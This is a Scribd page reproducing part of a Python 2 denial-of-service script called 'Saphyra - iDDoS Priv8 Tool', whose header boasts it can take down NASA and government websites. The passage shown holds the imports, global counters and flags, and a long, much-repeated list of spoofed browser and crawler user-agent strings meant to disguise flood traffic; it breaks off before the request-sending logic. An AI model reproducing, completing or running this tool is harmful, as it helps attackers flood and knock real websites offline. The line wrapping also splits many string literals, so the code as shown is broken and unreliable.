Scribd
Upload
6 views116 pages

Saphyra 2

The document describes the Saphyra iDDoS Priv8 Tool, a software designed for executing large-scale denial-of-service attacks, including on significant targets like NASA and government websites. It includes code snippets for generating user agents and managing requests. The tool is attributed to an author named Hax Stroke and is in version 1.0.

Uploaded by

a99123e321
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
6 views116 pages

Saphyra 2

The document describes the Saphyra iDDoS Priv8 Tool, a software designed for executing large-scale denial-of-service attacks, including on significant targets like NASA and government websites. It includes code snippets for generating user agents and managing requests. The tool is attributed to an author named Hax Stroke and is in version 1.0.

Uploaded by

a99123e321
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 116

#

-----------------------------------------------------------------------------------
-----------
# Saphyra - iDDoS Priv8 Tool
#
# The iDDoS Protocol is the most massive type of attack
# This tool can tangodown nasa and more gov websites
#
#
# author : Hax Stroke , version 1.0
#
-----------------------------------------------------------------------------------
-----------
import urllib2
import sys
import threading
import random
import re

#global params
url=''
host=''
headers_useragents=[]
headers_referers=[]
request_counter=0
flag=0
safe=0

def inc_counter():
global request_counter
request_counter+=9999

def set_flag(val):
global flag
flag=val

def set_safe():
global safe
safe=1
# generates a user agent array
def useragent_list():
global headers_useragents
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('AppEngine-Google;
(+http://code.google.com/appengine; appid: webetrex)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR
3.0.4506.2152; .NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR
2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR
3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR
2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR
3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR
3.5.30729; .NET4.0C; .NET4.0E)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR
3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR
3.5.30729; .NET4.0C; .NET4.0E)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812;
U; ru) Presto/2.4.15')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)
AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1
NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413
(KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US;
rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1
OpenSSL/0.9.8g')
headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-
Arz1)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)
AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US;
rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us)
AppleWebKit/413 (KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;
WOW64; Trident/4.0; SLCC1)')
headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux)
KHTML/4.3.5 (like Gecko)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE;
IEMobile 6.5)')
headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131
Version/11.10')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)
Gecko/20060706 IEMobile/7.0')
headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X;
en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b
Safari/531.21.10')
headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7;
ru-ru)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1;
Trident/5.0)')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT
6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR
3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0;
+http://yandex.com/bots)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7;
en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE;
IEMobile 7.0)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en;
rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)
Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US)
Presto/2.8.131 Version/11.10')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online
Browser 1.1; rev1.5; Windows NT 5.1;)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21;
rv:1.8b4) Gecko/20050720 Minimo/0.007')
headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/179')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812;
U; ru) Presto/2.4.15')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)
AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1
NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413
(KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US;
rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1
OpenSSL/0.9.8g')
headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-
Arz1)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)
AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US;
rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us)
AppleWebKit/413 (KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;
WOW64; Trident/4.0; SLCC1)')
headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux)
KHTML/4.3.5 (like Gecko)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE;
IEMobile 6.5)')
headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131
Version/11.10')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)
Gecko/20060706 IEMobile/7.0')
headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X;
en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b
Safari/531.21.10')
headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7;
ru-ru)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1;
Trident/5.0)')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT
6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR
3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0;
+http://yandex.com/bots)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7;
en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE;
IEMobile 7.0)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en;
rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)
Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US)
Presto/2.8.131 Version/11.10')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online
Browser 1.1; rev1.5; Windows NT 5.1;)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21;
rv:1.8b4) Gecko/20050720 Minimo/0.007')
headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/179')
headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83;
http://www.80legs.com/webcrawler.html) Gecko/2008032620')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
AddSugarSpiderBot www.idealobserver.com')
headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0;
+http://www.anyapex.com/bot.html)')
headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0;
+http://www.baidu.com/search/spider.html)')
headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0;
+http://www.baidu.com/search/spider.html)')
headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0
compatible; +http://www.become.com/site_owners.html)')
headers_useragents.append('BillyBobBot/1.0
(+http://www.billybobbot.com/crawler/)')
headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0;
+http://www.bing.com/bingbot.htm)')
headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775;
i686-pc-linux-gnu)')
headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0;
+http://yandex.com/bots)')
headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp;
http://help.yahoo.com/help/us/ysearch/slurp)')
headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0;
http://www.yodao.com/help/webmaster/spider/; )')
headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0;
http://www.yodao.com/help/webmaster/spider/; )')
headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link
Checker ([email protected]; http://www.WISEnutbot.com)')
headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link
Checker ([email protected]; http://www.WISEnutbot.com)')
headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-
[email protected]; http://www.WISEnutbot.com)')
headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable)
AppleWebKit/420+ (KHTML, like Gecko)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET
CLR 3.5.30729; Avant Browser)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)
AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3
Safari/532.2')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US)
AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10
ChromePlus/1.5.1.1')
headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C
4.7.1; text)')
headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3)
AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0)
Gecko/20100101 Thunderbird/24.4.0')
headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0;
+http://www.abilogic.com/bot.html)')
headers_useragents.append('SiteBar/3.3.8 (Bookmark Server;
http://sitebar.org/)')
headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2;
en-ca)')
headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2;
en-ca)')
headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0;
Macintosh)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de;
rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de;
rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US;
rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
.NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
{1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
acc=baadshah; acc=none; freenet DSL 1.1; (none))')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
en) Opera 8.51')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp)
AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12)
Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812;
U; ru) Presto/2.4.15')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)
AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1
NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413
(KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US;
rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1
OpenSSL/0.9.8g')
headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-
Arz1)')
